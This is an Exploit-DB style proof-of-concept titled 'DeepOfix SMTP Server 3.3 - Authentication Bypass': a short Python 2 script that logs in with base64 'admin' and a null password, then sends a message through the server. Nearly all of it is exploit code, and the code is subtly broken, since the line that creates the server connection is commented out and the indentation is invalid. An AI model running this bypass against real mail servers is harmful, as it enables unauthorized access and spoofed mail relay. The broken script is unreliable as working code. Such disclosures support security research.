DeepOfix SMTP Server 3.3 - Authentication Bypass

#!/usr/bin/python
import smtplib
     #http://www.exploit-db.com/exploits/29706/
     # Select the sender and the receivers
     sender = 'sender@mail'
     receivers = ['receiver@mail.com']

     # Write the message
     message = """
       From: From Sender <sender@mail.com>
       To: To Receiver <receiver@mail.com>
       Subject: NSA is watching you!

       This is a really important message... xD
       """

     # Connect to the SMTP server and send the email
     try:
       # server = smtplib.SMTP('deepofix.local', 25)

       # Auth login --> admin/null in Base64
       server.docmd("auth login")
       server.docmd("YWRtaW4=")
       server.docmd("AA==")

       server.sendmail(sender, receivers, message)
       print "Successfully sent email"

     except:
           print "Error: unable to send email"